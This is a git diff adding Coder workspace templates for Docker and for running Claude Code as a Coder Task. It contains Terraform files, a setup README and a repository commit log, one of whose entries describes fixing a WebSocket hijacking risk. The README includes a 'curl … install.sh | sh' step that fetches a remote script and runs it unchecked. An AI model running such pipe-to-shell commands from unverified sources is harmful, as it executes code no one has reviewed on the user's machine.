+    value = data.coder_workspace.me.id
+  }
+  # This field becomes outdated if the workspace is renamed but can
+  # be useful for debugging or cleaning out dangling volumes.
+  labels {
+    label = "coder.workspace_name_at_creation"
+    value = data.coder_workspace.me.name
+  }
+}
+
+# Check for the presence of a prebuilt image in the cache repo
+# that we can use instead.
+resource "envbuilder_cached_image" "cached" {
+  count         = var.cache_repo == "" ? 0 : data.coder_workspace.me.start_count
+  builder_image = local.devcontainer_builder_image
+  git_url       = local.repo_url
+  cache_repo    = var.cache_repo
+  extra_env     = local.envbuilder_env
+  insecure      = var.insecure_cache_repo
+}
+
+resource "docker_container" "workspace" {
+  count = data.coder_workspace.me.start_count
+  image = var.cache_repo == "" ? local.devcontainer_builder_image : envbuilder_cached_image.cached.0.image
+  # Uses lower() to avoid Docker restriction on container names.
+  name = "coder-${data.coder_workspace_owner.me.name}-${lower(data.coder_workspace.me.name)}"
+  # Hostname makes the shell more user friendly: coder@my-workspace:~$
+  hostname = data.coder_workspace.me.name
+  # Use the environment specified by the envbuilder provider, if available.
+  env = var.cache_repo == "" ? local.docker_env : envbuilder_cached_image.cached.0.env
+  # network_mode = "host" # Uncomment if testing with a registry running on `localhost`.
+  host {
+    host = "host.docker.internal"
+    ip   = "host-gateway"
+  }
+  volumes {
+    container_path = "/workspaces"
+    volume_name    = docker_volume.workspaces.name
+    read_only      = false
+  }
+  # Add labels in Docker to keep track of orphan resources.
+  labels {
+    label = "coder.owner"
+    value = data.coder_workspace_owner.me.name
+  }
+  labels {
+    label = "coder.owner_id"
+    value = data.coder_workspace_owner.me.id
+  }
+  labels {
+    label = "coder.workspace_id"
+    value = data.coder_workspace.me.id
+  }
+  labels {
+    label = "coder.workspace_name"
+    value = data.coder_workspace.me.name
+  }
+}
+
+resource "coder_agent" "main" {
+  arch           = data.coder_provisioner.me.arch
+  os             = "linux"
+  startup_script = <<-EOT
+    set -e
+
+    # Add any commands that should be executed at workspace startup (e.g install requirements, start a program, etc) here
+  EOT
+  dir            = "/workspaces"
+
+  # These environment variables allow you to make Git commits right away after creating a
+  # workspace. Note that they take precedence over configuration defined in ~/.gitconfig!
+  # You can remove this block if you'd prefer to configure Git manually or using
+  # dotfiles. (see docs/dotfiles.md)
+  env = {
+    GIT_AUTHOR_NAME     = local.git_author_name
+    GIT_AUTHOR_EMAIL    = local.git_author_email
+    GIT_COMMITTER_NAME  = local.git_author_name
+    GIT_COMMITTER_EMAIL = local.git_author_email
+  }
+
+  # The following metadata blocks are optional. They are used to display
+  # information about your workspace in the dashboard. You can remove them
+  # if you don't want to display any information.
+  # For basic resources, you can use the `coder stat` command.
+  # If you need more control, you can write your own script.
+  metadata {
+    display_name = "CPU Usage"
+    key          = "0_cpu_usage"
+    script       = "coder stat cpu"
+    interval     = 10
+    timeout      = 1
+  }
+
+  metadata {
+    display_name = "RAM Usage"
+    key          = "1_ram_usage"
+    script       = "coder stat mem"
+    interval     = 10
+    timeout      = 1
+  }
+
+  metadata {
+    display_name = "Home Disk"
+    key          = "3_home_disk"
+    script       = "coder stat disk --path $HOME"
+    interval     = 60
+    timeout      = 1
+  }
+
+  metadata {
+    display_name = "CPU Usage (Host)"
+    key          = "4_cpu_usage_host"
+    script       = "coder stat cpu --host"
+    interval     = 10
+    timeout      = 1
+  }
+
+  metadata {
+    display_name = "Memory Usage (Host)"
+    key          = "5_mem_usage_host"
+    script       = "coder stat mem --host"
+    interval     = 10
+    timeout      = 1
+  }
+
+  metadata {
+    display_name = "Load Average (Host)"
+    key          = "6_load_host"
+    # get load avg scaled by number of cores
+    script   = <<EOT
+      echo "`cat /proc/loadavg | awk '{ print $1 }'` `nproc`" | awk '{ printf "%0.2f", $1/$2 }'
+    EOT
+    interval = 60
+    timeout  = 1
+  }
+
+  metadata {
+    display_name = "Swap Usage (Host)"
+    key          = "7_swap_host"
+    script       = <<EOT
+      free -b | awk '/^Swap/ { printf("%.1f/%.1f", $3/1024.0/1024.0/1024.0, $2/1024.0/1024.0/1024.0) }'
+    EOT
+    interval     = 10
+    timeout      = 1
+  }
+}
+
+# See https://registry.coder.com/modules/coder/code-server
+module "code-server" {
+  count  = data.coder_workspace.me.start_count
+  source = "registry.coder.com/coder/code-server/coder"
+
+  # This ensures that the latest non-breaking version of the module gets downloaded, you can also pin the module version to prevent breaking changes in production.
+  version = "~> 1.0"
+
+  agent_id = coder_agent.main.id
+  order    = 1
+}
+
+# See https://registry.coder.com/modules/coder/jetbrains
+module "jetbrains" {
+  count      = data.coder_workspace.me.start_count
+  source     = "registry.coder.com/coder/jetbrains/coder"
+  version    = "~> 1.0"
+  agent_id   = coder_agent.main.id
+  agent_name = "main"
+  folder     = "/workspaces"
+}
+
+resource "coder_metadata" "container_info" {
+  count       = data.coder_workspace.me.start_count
+  resource_id = coder_agent.main.id
+  item {
+    key   = "workspace image"
+    value = var.cache_repo == "" ? local.devcontainer_builder_image : envbuilder_cached_image.cached.0.image
+  }
+  item {
+    key   = "git url"
+    value = local.repo_url
+  }
+  item {
+    key   = "cache repo"
+    value = var.cache_repo == "" ? "not enabled" : var.cache_repo
+  }
+}
@@ -0,0 +1,86 @@
+---
+display_name: Tasks on Docker
+description: Run Coder Tasks on Docker with an example application
+icon: ../../../../.icons/tasks.svg
+verified: false
+tags: [docker, container, ai, tasks]
+---
+
+# Run Coder Tasks on Docker
+
+This is an example template for running [Coder Tasks](https://coder.com/docs/ai-coder/tasks), Claude Code, along with a [real world application](https://realworld-docs.netlify.app/).
+
+![Tasks](../../.images/tasks-screenshot.png)
+
+This is a fantastic starting point for working with AI agents with Coder Tasks. Try prompts such as:
+
+- "Make the background color blue"
+- "Add a dark mode"
+- "Rewrite the entire backend in Go"
+
+## Included in this template
+
+This template is designed to be an example and a reference for building other templates with Coder Tasks. You can always run Coder Tasks on different infrastructure (e.g. as on Kubernetes, VMs) and with your own GitHub repositories, MCP servers, images, etc.
+
+Additionally, this template uses our [Claude Code](https://registry.coder.com/modules/coder/claude-code) module, but [other agents](https://registry.coder.com/modules?search=tag%3Aagent) or even [custom agents](https://coder.com/docs/ai-coder/custom-agents) can be used in its place.
+
+This template uses a [Workspace Preset](https://coder.com/docs/admin/templates/extending-templates/parameters#workspace-presets) that pre-defines:
+
+- Universal Container Image (e.g. contains Node.js, Java, Python, Ruby, etc)
+- MCP servers (desktop-commander for long-running logs, playwright for previewing changes)
+- System prompt and [repository](https://github.com/coder-contrib/realworld-django-rest-framework-angular) for the AI agent
+- Startup script to initialize the repository and start the development server
+
+## Add this template to your Coder deployment
+
+You can also add this template to your Coder deployment and begin tinkering right away!
+
+### Prerequisites
+
+- Coder installed (see [our docs](https://coder.com/docs/install)), ideally a Linux VM with Docker
+- Anthropic API Key (or access to Anthropic models via Bedrock or Vertex, see [Claude Code docs](https://docs.anthropic.com/en/docs/claude-code/third-party-integrations))
+- Access to a Docker socket
+  - If on the local VM, ensure the `coder` user is added to the Docker group (docs)
+
+    ```sh
+    # Add coder user to Docker group
+    sudo adduser coder docker
+    
+    # Restart Coder server
+    sudo systemctl restart coder
+    
+    # Test Docker
+    sudo -u coder docker ps
+    ```
+
+  - If on a remote VM, see the [Docker Terraform provider documentation](https://registry.terraform.io/providers/kreuzwerker/docker/latest/docs#remote-hosts) to configure a remote host
+
+To import this template into Coder, first create a template from "Scratch" in the template editor.
+
+Visit this URL for your Coder deployment:
+
+```sh
+https://coder.example.com/templates/new?exampleId=scratch
+```
+
+After creating the template, paste the contents from [main.tf](https://github.com/coder/registry/blob/main/registry/coder/templates/tasks-docker/main.tf) into the template editor and save.
+
+Alternatively, you can use the Coder CLI to [push the template](https://coder.com/docs/reference/cli/templates_push)
+
+```sh
+# Download the CLI
+curl -L https://coder.com/install.sh | sh
+
+# Log in to your deployment
+coder login https://coder.example.com
+
+# Clone the registry
+git clone https://github.com/coder/registry
+cd registry
+
+# Navigate to this template
+cd registry/coder/templates/tasks-docker
+
+# Push the template
+coder templates push
+```
@@ -0,0 +1,380 @@
+terraform {
+  required_providers {
+    coder = {
+      source  = "coder/coder"
+      version = ">= 2.13"
+    }
+    docker = {
+      source = "kreuzwerker/docker"
+    }
+  }
+}
+
+# This template requires a valid Docker socket
+# However, you can reference our Kubernetes/VM
+# example templates and adapt the Claude Code module
+#
+# See: https://registry.coder.com/templates
+provider "docker" {}
+
+# A `coder_ai_task` resource enables Tasks and associates
+# the task with the coder_app that will act as an AI agent.
+resource "coder_ai_task" "task" {
+  count  = data.coder_workspace.me.start_count
+  app_id = module.claude-code[count.index].task_app_id
+}
+
+# You can read the task prompt from the `coder_task` data source.
+data "coder_task" "me" {}
+
+# The Claude Code module does the automatic task reporting
+# Other agent modules: https://registry.coder.com/modules?search=agent
+# Or use a custom agent:
+module "claude-code" {
+  count               = data.coder_workspace.me.start_count
+  source              = "registry.coder.com/coder/claude-code/coder"
+  version             = "4.7.5"
+  agent_id            = coder_agent.main.id
+  workdir             = "/home/coder/projects"
+  order               = 999
+  claude_api_key      = ""
+  ai_prompt           = data.coder_task.me.prompt
+  system_prompt       = data.coder_parameter.system_prompt.value
+  model               = "sonnet"
+  permission_mode     = "plan"
+  post_install_script = data.coder_parameter.setup_script.value
+}
+
+# We are using presets to set the prompts, image, and set up instructions
+# See https://coder.com/docs/admin/templates/extending-templates/parameters#workspace-presets
+data "coder_workspace_preset" "default" {
+  name    = "Real World App: Angular + Django"
+  default = true
+  parameters = {
+    "system_prompt" = <<-EOT
+      -- Framing --
+      You are a helpful assistant that can help with code. You are running inside a Coder Workspace and provide status updates to the user via Coder MCP. Stay on track, feel free to debug, but when the original plan fails, do not choose a different route/architecture without checking the user first.
+
+      -- Tool Selection --
+      - playwright: previewing your changes after you made them
+        to confirm it worked as expected
+	    -	desktop-commander - use only for commands that keep running
+        (servers, dev watchers, GUI apps).
+      -	Built-in tools - use for everything else:
+       (file operations, git commands, builds & installs, one-off shell commands)
+
+      Remember this decision rule:
+      - Stays running? → desktop-commander
+      - Finishes immediately? → built-in tools
+
+      -- Context --
+      There is an existing app and tmux dev server running on port 8000. Be sure to read it's CLAUDE.md (./realworld-django-rest-framework-angular/CLAUDE.md) to learn more about it.
+
+      Since this app is for demo purposes and the user is previewing the homepage and subsequent pages, aim to make the first visual change/prototype very quickly so the user can preview it, then focus on backend or logic which can be a more involved, long-running architecture plan.
+
+    EOT
+
+    "setup_script"    = <<-EOT
+    # Set up projects dir
+    mkdir -p /home/coder/projects
+    cd $HOME/projects
+
+    # Packages: Install additional packages
+    sudo apt-get update && sudo apt-get install -y tmux
+    if ! command -v google-chrome >/dev/null 2>&1; then
+      yes | npx playwright install chrome
+    fi
+
+    # MCP: Install and configure MCP Servers
+    npm install -g @wonderwhy-er/desktop-commander
+    claude mcp add playwright npx -- @playwright/mcp@latest --headless --isolated --no-sandbox
+    claude mcp add desktop-commander desktop-commander
+
+    # Repo: Clone and pull changes from the git repository
+    if [ ! -d "realworld-django-rest-framework-angular" ]; then
+      git clone https://github.com/coder-contrib/realworld-django-rest-framework-angular.git
+    else
+      cd realworld-django-rest-framework-angular
+      git fetch
+      # Check for uncommitted changes
+      if git diff-index --quiet HEAD -- && \
+        [ -z "$(git status --porcelain --untracked-files=no)" ] && \
+        [ -z "$(git log --branches --not --remotes)" ]; then
+        echo "Repo is clean. Pulling latest changes..."
+        git pull
+      else
+        echo "Repo has uncommitted or unpushed changes. Skipping pull."
+      fi
+
+      cd ..
+    fi
+
+    # Initialize: Start the development server
+    cd realworld-django-rest-framework-angular && ./start-dev.sh
+    EOT
+    "preview_port"    = "4200"
+    "container_image" = "codercom/example-universal:ubuntu"
+  }
+
+  # Pre-builds is a Coder Premium
+  # feature to speed up workspace creation
+  #
+  # see https://coder.com/docs/admin/templates/extending-templates/prebuilt-workspaces
+  # prebuilds {
+  #   instances = 1
+  #   expiration_policy {
+  #      ttl = 86400  # Time (in seconds) after which unclaimed prebuilds are expired (1 day)
+  #  }
+  # }
+}
+
+# Advanced parameters (these are all set via preset)
+data "coder_parameter" "system_prompt" {
+  name         = "system_prompt"
+  display_name = "System Prompt"
+  type         = "string"
+  form_type    = "textarea"
+  description  = "System prompt for the agent with generalized instructions"
+  mutable      = false
+}
+data "coder_parameter" "setup_script" {
+  name         = "setup_script"
+  display_name = "Setup Script"
+  type         = "string"
+  form_type    = "textarea"
+  description  = "Script to run before running the agent"
+  mutable      = false
+}
+data "coder_parameter" "container_image" {
+  name         = "container_image"
+  display_name = "Container Image"
+  type         = "string"
+  default      = "codercom/example-universal:ubuntu"
+  mutable      = false
+}
+data "coder_parameter" "preview_port" {
+  name         = "preview_port"
+  display_name = "Preview Port"
+  description  = "The port the web app is running to preview in Tasks"
+  type         = "number"
+  default      = "3000"
+  mutable      = false
+}
+
+data "coder_provisioner" "me" {}
+data "coder_workspace" "me" {}
+data "coder_workspace_owner" "me" {}
+
+resource "coder_agent" "main" {
+  arch           = data.coder_provisioner.me.arch
+  os             = "linux"
+  startup_script = <<-EOT
+    set -e
+    # Prepare user home with default files on first start.
+    if [ ! -f ~/.init_done ]; then
+      cp -rT /etc/skel ~
+      touch ~/.init_done
+    fi
+  EOT
+
+  # These environment variables allow you to make Git commits right away after creating a
+  # workspace. Note that they take precedence over configuration defined in ~/.gitconfig!
+  # You can remove this block if you'd prefer to configure Git manually or using
+  # dotfiles. (see docs/dotfiles.md)
+  env = {
+    GIT_AUTHOR_NAME     = coalesce(data.coder_workspace_owner.me.full_name, data.coder_workspace_owner.me.name)
+    GIT_AUTHOR_EMAIL    = "${data.coder_workspace_owner.me.email}"
+    GIT_COMMITTER_NAME  = coalesce(data.coder_workspace_owner.me.full_name, data.coder_workspace_owner.me.name)
+    GIT_COMMITTER_EMAIL = "${data.coder_workspace_owner.me.email}"
+  }
+
+  # The following metadata blocks are optional. They are used to display
+  # information about your workspace in the dashboard. You can remove them
+  # if you don't want to display any information.
+  # For basic resources, you can use the `coder stat` command.
+  # If you need more control, you can write your own script.
+  metadata {
+    display_name = "CPU Usage"
+    key          = "0_cpu_usage"
+    script       = "coder stat cpu"
+    interval     = 10
+    timeout      = 1
+  }
+
+  metadata {
+    display_name = "RAM Usage"
+    key          = "1_ram_usage"
+    script       = "coder stat mem"
+    interval     = 10
+    timeout      = 1
+  }
+
+  metadata {
+    display_name = "Home Disk"
+    key          = "3_home_disk"
+    script       = "coder stat disk --path $${HOME}"
+    interval     = 60
+    timeout      = 1
+  }
+
+  metadata {
+    display_name = "CPU Usage (Host)"
+    key          = "4_cpu_usage_host"
+    script       = "coder stat cpu --host"
+    interval     = 10
+    timeout      = 1
+  }
+
+  metadata {
+    display_name = "Memory Usage (Host)"
+    key          = "5_mem_usage_host"
+    script       = "coder stat mem --host"
+    interval     = 10
+    timeout      = 1
+  }
+
+  metadata {
+    display_name = "Load Average (Host)"
+    key          = "6_load_host"
+    # get load avg scaled by number of cores
+    script   = <<EOT
+      echo "`cat /proc/loadavg | awk '{ print $1 }'` `nproc`" | awk '{ printf "%0.2f", $1/$2 }'
+    EOT
+    interval = 60
+    timeout  = 1
+  }
+
+  metadata {
+    display_name = "Swap Usage (Host)"
+    key          = "7_swap_host"
+    script       = <<EOT
+      free -b | awk '/^Swap/ { printf("%.1f/%.1f", $3/1024.0/1024.0/1024.0, $2/1024.0/1024.0/1024.0) }'
+    EOT
+    interval     = 10
+    timeout      = 1
+  }
+}
+
+# See https://registry.coder.com/modules/coder/code-server
+module "code-server" {
+  count  = data.coder_workspace.me.start_count
+  folder = "/home/coder/projects"
+  source = "registry.coder.com/coder/code-server/coder"
+
+  settings = {
+    "workbench.colorTheme" : "Default Dark Modern"
+  }
+
+  # This ensures that the latest non-breaking version of the module gets downloaded, you can also pin the module version to prevent breaking changes in production.
+  version = "~> 1.0"
+
+  agent_id = coder_agent.main.id
+  order    = 1
+}
+
+module "windsurf" {
+  count    = data.coder_workspace.me.start_count
+  source   = "registry.coder.com/coder/windsurf/coder"
+  version  = "1.3.0"
+  agent_id = coder_agent.main.id
+}
+
+module "cursor" {
+  count    = data.coder_workspace.me.start_count
+  source   = "registry.coder.com/coder/cursor/coder"
+  version  = "1.4.0"
+  agent_id = coder_agent.main.id
+}
+
+module "jetbrains" {
+  count      = data.coder_workspace.me.start_count
+  source     = "registry.coder.com/coder/jetbrains/coder"
+  version    = "~> 1.0"
+  agent_id   = coder_agent.main.id
+  agent_name = "main"
+  folder     = "/home/coder/projects"
+}
+
+resource "docker_volume" "home_volume" {
+  name = "coder-${data.coder_workspace.me.id}-home"
+  # Protect the volume from being deleted due to changes in attributes.
+  lifecycle {
+    ignore_changes = all
+  }
+  # Add labels in Docker to keep track of orphan resources.
+  labels {
+    label = "coder.owner"
+    value = data.coder_workspace_owner.me.name
+  }
+  labels {
+    label = "coder.owner_id"
+    value = data.coder_workspace_owner.me.id
+  }
+  labels {
+    label = "coder.workspace_id"
+    value = data.coder_workspace.me.id
+  }
+  # This field becomes outdated if the workspace is renamed but can
+  # be useful for debugging or cleaning out dangling volumes.
+  labels {
+    label = "coder.workspace_name_at_creation"
+    value = data.coder_workspace.me.name
+  }
+}
+
+resource "coder_app" "preview" {
+  agent_id     = coder_agent.main.id
+  slug         = "preview"
+  display_name = "Preview your app"
+  icon         = "${data.coder_workspace.me.access_url}/emojis/1f50e.png"
+  url          = "http://localhost:${data.coder_parameter.preview_port.value}"
+  share        = "authenticated"
+  subdomain    = true
+  open_in      = "tab"
+  order        = 0
+  healthcheck {
+    url       = "http://localhost:${data.coder_parameter.preview_port.value}/"
+    interval  = 5
+    threshold = 15
+  }
+}
+
+resource "docker_container" "workspace" {
+  count = data.coder_workspace.me.start_count
+  image = data.coder_parameter.container_image.value
+  # Uses lower() to avoid Docker restriction on container names.
+  name = "coder-${data.coder_workspace_owner.me.name}-${lower(data.coder_workspace.me.name)}"
+  # Hostname makes the shell more user friendly: coder@my-workspace:~$
+  hostname = data.coder_workspace.me.name
+  user     = "coder"
+  # Use the docker gateway if the access URL is 127.0.0.1
+  entrypoint = ["sh", "-c", replace(coder_agent.main.init_script, "/localhost|127\\.0\\.0\\.1/", "host.docker.internal")]
+  env        = ["CODER_AGENT_TOKEN=${coder_agent.main.token}"]
+  host {
+    host = "host.docker.internal"
+    ip   = "host-gateway"
+  }
+  volumes {
+    container_path = "/home/coder"
+    volume_name    = docker_volume.home_volume.name
+    read_only      = false
+  }
+
+  # Add labels in Docker to keep track of orphan resources.
+  labels {
+    label = "coder.owner"
+    value = data.coder_workspace_owner.me.name
+  }
+  labels {
+    label = "coder.owner_id"
+    value = data.coder_workspace_owner.me.id
+  }
+  labels {
+    label = "coder.workspace_id"
+    value = data.coder_workspace.me.id
+  }
+  labels {
+    label = "coder.workspace_name"
+    value = data.coder_workspace.me.name
+  }
+}
Author	SHA1	Message	Date
blink-so[bot]	2fad4ce192	feat: add docker-envbuilder and tasks-docker templates to coder namespace Migrate docker-envbuilder and tasks-docker starter templates from coder/coder to the registry under the coder/ namespace. These templates are needed so that coder/coder can source all starter templates from the registry at build time. See: https://github.com/coder/coder/pull/22176 Related: https://github.com/coder/coder/issues/19778	2026-02-18 15:33:49 +00:00
Katorly	14c43d9f29	fix(coder/modules/jetbrains and coder-labs/modules/nextflow): fix typos in two documentations (#714 )	2026-02-18 08:11:20 +00:00
blinkagent[bot]	ac92895c50	docs(azure-linux): clarify resource lifecycle on stop vs delete (#713 ) The existing README for the Azure Linux template only mentioned that the VM is ephemeral and the managed disk is persistent, but did not explain that the resource group, virtual network, subnet, and network interface also persist when a workspace is stopped. This led to confusion where users expected all Azure resources to be cleaned up on stop, when in reality only the VM is destroyed. ## Changes - Added the persistent networking/infrastructure resources to the resource list - Added "What happens on stop" section explaining which resources persist and why - Added "What happens on delete" section confirming all resources are cleaned up - Moved the existing note about ephemeral tools/files into a "Workspace restarts" subsection for clarity Created on behalf of @DevelopmentCats Co-authored-by: blink-so[bot] <211532188+blink-so[bot]@users.noreply.github.com> Co-authored-by: DevCats <christofer@coder.com>	2026-02-17 14:05:54 -06:00
Rowan Smith	563dbc4a71	feat: add post_clone_script to dotfiles in order to support startup dependencies/coordination (#679 ) ## Description Adds post_clone_script variable to the dotfiles module, enabling startup coordination with other scripts that depend on dotfiles. An example of how to use this, which assumes the PR has been merged: ``` module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" version = "1.3.0" agent_id = coder_agent.main.id default_dotfiles_uri = "https://github.com/someuser/somedotfiles" post_clone_script = <<-EOF coder exp sync start dotfiles && coder exp sync complete dotfiles EOF } resource "coder_script" "personalize" { count = data.coder_workspace.me.start_count agent_id = coder_agent.main.id display_name = "Personalize" icon = "/icon/personalize.svg" run_on_start = true script = <<-EOF trap 'coder exp sync complete personalize' EXIT coder exp sync want personalize dotfiles coder exp sync start personalize SCRIPT="$HOME/.config/coderv2/dotfiles/personalize" if [ -f "$SCRIPT" ] && [ -x "$SCRIPT" ]; then $SCRIPT fi EOF } ``` ## Type of Change - [ ] New module - [ ] New template - [ ] Bug fix - [x] Feature/enhancement - [ ] Documentation - [ ] Other ## Module Information Path: `registry/coder/modules/dotfiles` New version: `v1.3.0` Breaking change: [ ] Yes [x] No ## Testing & Validation - [ ] Tests pass (`bun test`) - [ ] Code formatted (`bun fmt`) - [x] Changes tested locally ## Related Issues #678	2026-02-16 09:14:50 +11:00
Michael Suchacz	39fec7ca82	🤖 feat: mux module — add per-workspace auth token for CSWSH protection (#728 ) ## Summary Add per-workspace authentication token wiring to the Mux Coder module, closing the last-mile deployment gap for cross-site WebSocket hijacking (CSWSH) protection identified in coder/security#120. ## Background When Mux runs as a Coder workspace app, it is accessible via Coder's subdomain proxy (e.g., `mux--ws--user.apps.coder.com`). Without an auth token, a malicious same-site origin (another user's workspace app on the same `.coder.com` domain) can hijack the WebSocket session and execute arbitrary commands via the oRPC API. The Mux application itself already implements: - Strict same-origin enforcement* for HTTP/CORS and WebSocket upgrades (coder/mux#2418) - Auth token support — the server reads `MUX_SERVER_AUTH_TOKEN` or `--auth-token`, and the browser frontend extracts `?token=` from the URL and persists it to localStorage What was missing was module-level token generation and browser/backend wiring. ## Implementation - `random_password.mux_auth_token` generates a 64-character token per module instance. - Backend wiring: `run.sh` launches mux with a process-scoped `MUX_SERVER_AUTH_TOKEN` environment variable. - Frontend wiring: `coder_app.mux.url` includes `?token=<secret>` so first launch from Coder passes the token to the browser for bootstrap/persistence. To avoid cross-instance breakage, this change intentionally does not use a shared `coder_env` key. Multiple `coder/mux` module instances can target the same `agent_id` (different `slug`/`port`), and a single global env key would collide. Process-scoped env keeps each instance's backend token aligned with its app URL token. ## Validation - `terraform fmt -check -diff` in `registry/coder/modules/mux` - `terraform test` in `registry/coder/modules/mux` (8 passed, 0 failed) - Updated tests now verify the URL token value (not just prefix) and verify the launch script sets `MUX_SERVER_AUTH_TOKEN` using the generated token. --- _Generated with `mux` • Model: `anthropic:claude-opus-4-6` • Thinking: `xhigh`_ <!-- mux-attribution: model=anthropic:claude-opus-4-6 thinking=xhigh -->	2026-02-14 23:08:12 +01:00
35C4n0r	c5ff4de9ed	feat(coder/modules/agent-helper): add agent-helper module to help run scripts (#704 ) ## Description The Agent Helper module is a building block for modules that need to run multiple scripts in a specific order. It uses `coder exp sync` for dependency management and is designed for orchestrating pre-install, install, post-install, and start scripts. ## Type of Change - [x] New module - [ ] New template - [ ] Bug fix - [ ] Feature/enhancement - [ ] Documentation - [ ] Other ## Module Information <!-- Delete this section if not applicable --> Path: `registry/coder/modules/agent-helper` New version: `v1.0.0` Breaking change: [x] Yes [ ] No ## Testing & Validation - [x] Tests pass (`bun test`) - [x] Code formatted (`bun fmt`) - [x] Changes tested locally ## Related Issues Closes: https://github.com/coder/registry/issues/696 Closes: https://github.com/coder/registry/issues/698 --------- Co-authored-by: DevCats <christofer@coder.com>	2026-02-13 22:05:21 +05:30
35C4n0r	a9a03b167c	feat(coder-labs/modules/codex): bump agentapi version to v0.11.8 in codex (#727 ) ## Description - bump agentapi version to v0.11.8 in codex ## Type of Change - [ ] New module - [ ] New template - [ ] Bug fix - [x] Feature/enhancement - [ ] Documentation - [ ] Other ## Module Information <!-- Delete this section if not applicable --> Path: `registry/coder-labs/modules/codex` New version: `v4.1.1` Breaking change: [ ] Yes [x] No ## Testing & Validation - [x] Tests pass (`bun test`) - [x] Code formatted (`bun fmt`) - [x] Changes tested locally ## Related Issues <!-- Link related issues or write "None" if not applicable -->	2026-02-12 23:21:07 +05:30
Riajul Islam	0449051828	feat(KasmVNC): allow share variable to be passed with default: `owner` (#709 ) Co-authored-by: Atif Ali <atif@coder.com>	2026-02-11 07:34:37 +00:00
DevCats	8e68c96633	fix: add validation to inputs in dot-files module (#703 ) ## Description Add's Validation to the dotfiles module in all input's to address security issue pointed out in https://github.com/coder/security/issues/119 <!-- Briefly describe what this PR does and why --> ## Type of Change - [ ] New module - [ ] New template - [X] Bug fix - [ ] Feature/enhancement - [ ] Documentation - [ ] Other ## Module Information <!-- Delete this section if not applicable --> Path: `registry/coder/modules/dotfiles` New version: `v1.2.4` Breaking change: [ ] Yes [X] No ## Testing & Validation - [Y] Tests pass (`bun test`) - [Y] Code formatted (`bun fmt`) - [ ] Changes tested locally ## Related Issues https://github.com/coder/security/issues/119 <!-- Link related issues or write "None" if not applicable --> --------- Co-authored-by: Jakub Domeracki <jakub@coder.com>	2026-02-09 07:54:15 -06:00
DevCats	7e3e842aaa	fix: temp-fix for not using coder_env to set path due to limitations (#699 ) ### Summary Temporary workaround for non-deterministic PATH handling when using `coder_env` across multiple modules ([coder/coder#21885](https://github.com/coder/coder/issues/21885)). ### Problem When multiple modules define `coder_env` with the same `name` (e.g., `PATH`), the final value is non-deterministic due to Go map iteration order. This caused PATH overwrites instead of appending, breaking Claude Code discovery in workspaces using multiple modules. ### Solution Replace `coder_env` PATH manipulation with script-based PATH handling: - Install script: Exports PATH and adds claude binary directory to shell profiles (`.profile`, `.bashrc`, `.zshrc`, fish) for interactive shell access - Start script: Exports PATH at script execution time - Symlink: Creates symlink in `CODER_SCRIPT_BIN_DIR` as additional fallback - Validation: Prevents invalid configuration where `claude_binary_path` is customized but `install_claude_code=true` (official installer doesn't support custom paths) ### Changes - Removed `coder_env` resource for PATH - Added PATH export to `install.sh` and `start.sh` - Added shell profile modifications for cross-shell compatibility (bash, zsh, fish) - Added variable validation for `claude_binary_path` ### Note This is a temporary fix until [coder/coder#21885](https://github.com/coder/coder/issues/21885) is resolved with a proper `merge_strategy` attribute for `coder_env`. ## Type of Change - [ ] New module - [ ] New template - [X] Bug fix - [ ] Feature/enhancement - [ ] Documentation - [ ] Other ## Module Information <!-- Delete this section if not applicable --> Path: `registry/coder/modules/claude-code` New version: `v4.7.5` Breaking change: [ ] Yes [X] No ## Testing & Validation - [X] Tests pass (`bun test`) - [X] Code formatted (`bun fmt`) - [X] Changes tested locally ## Related Issues ([coder/coder#21885](https://github.com/coder/coder/issues/21885))	2026-02-05 09:18:27 -06:00
Steven Masley	6ac4d70405	chore: add placeholder to git config inputs (#694 ) Shows a placeholder of default values in the parameter input box	2026-02-04 09:34:02 -06:00
Harsh Singh Panwar	49a7985bc6	fix(coder/modules/jupyterlab): fix a typo (#689 ) Closes https://github.com/coder/registry/issues/685 --------- Co-authored-by: Atif Ali <atif@coder.com> Co-authored-by: Muhammad Atif Ali <me@matifali.dev>	2026-02-04 09:10:27 +05:00
Andreas Skorczyk	08e68a2da4	Don't create CLAUDE_API_KEY coder_env if not set (#686 ) ## Description At the moment, the `CLAUDE_API_KEY` coder_env will always be created, even if the variable itself is not. This can lead to the environment variable being unset if it has been set outside of Terraform. With this PR, we make the `claude_api_key` coder_env conditional, so it will only be created if an API key has been set. ## Type of Change - [ ] New module - [ ] New template - [x] Bug fix - [ ] Feature/enhancement - [ ] Documentation - [ ] Other ## Module Information <!-- Delete this section if not applicable --> Path: `registry/coder/modules/claude-code/main.tf` New version: `v4.7.4` Breaking change: [ ] Yes [x] No ## Testing & Validation - [x] Tests pass (`bun test`) - [x] Code formatted (`bun fmt`) - [x] Changes tested locally ## Related Issues None --------- Co-authored-by: 35C4n0r <70096901+35C4n0r@users.noreply.github.com>	2026-02-04 08:10:16 +05:30
Atif Ali	66662db5aa	fix(claude-code): fix example for using AI Bridge (#691 ) Co-authored-by: 35C4n0r <70096901+35C4n0r@users.noreply.github.com>	2026-02-02 16:02:06 +00:00
35C4n0r	e25a972d7d	fix(workflows/version-bump.yaml): fix typo in case statement (#687 ) ## Description - Fix typo in version bump workflow ## Type of Change - [ ] New module - [ ] New template - [x] Bug fix - [ ] Feature/enhancement - [ ] Documentation - [ ] Other ## Testing & Validation - [x] Tests pass (`bun test`) - [x] Code formatted (`bun fmt`) - [x] Changes tested locally	2026-02-02 15:33:56 +00:00
35C4n0r	a10d5fa6a0	fix(coder/modules/claude-code): update terraform required version to >= 1.9 (#688 ) ## Description - Update terraform version for claude-code module. - Update coder version required in readme ## Type of Change - [ ] New module - [ ] New template - [x] Bug fix - [ ] Feature/enhancement - [ ] Documentation - [ ] Other ## Module Information <!-- Delete this section if not applicable --> Path: `registry/coder/modules/claude-code` New version: `v4.7.2` Breaking change: [ ] Yes [x] No ## Testing & Validation - [x] Tests pass (`bun test`) - [x] Code formatted (`bun fmt`) - [x] Changes tested locally ## Related Issues <!-- Link related issues or write "None" if not applicable -->	2026-01-31 09:44:41 +05:30
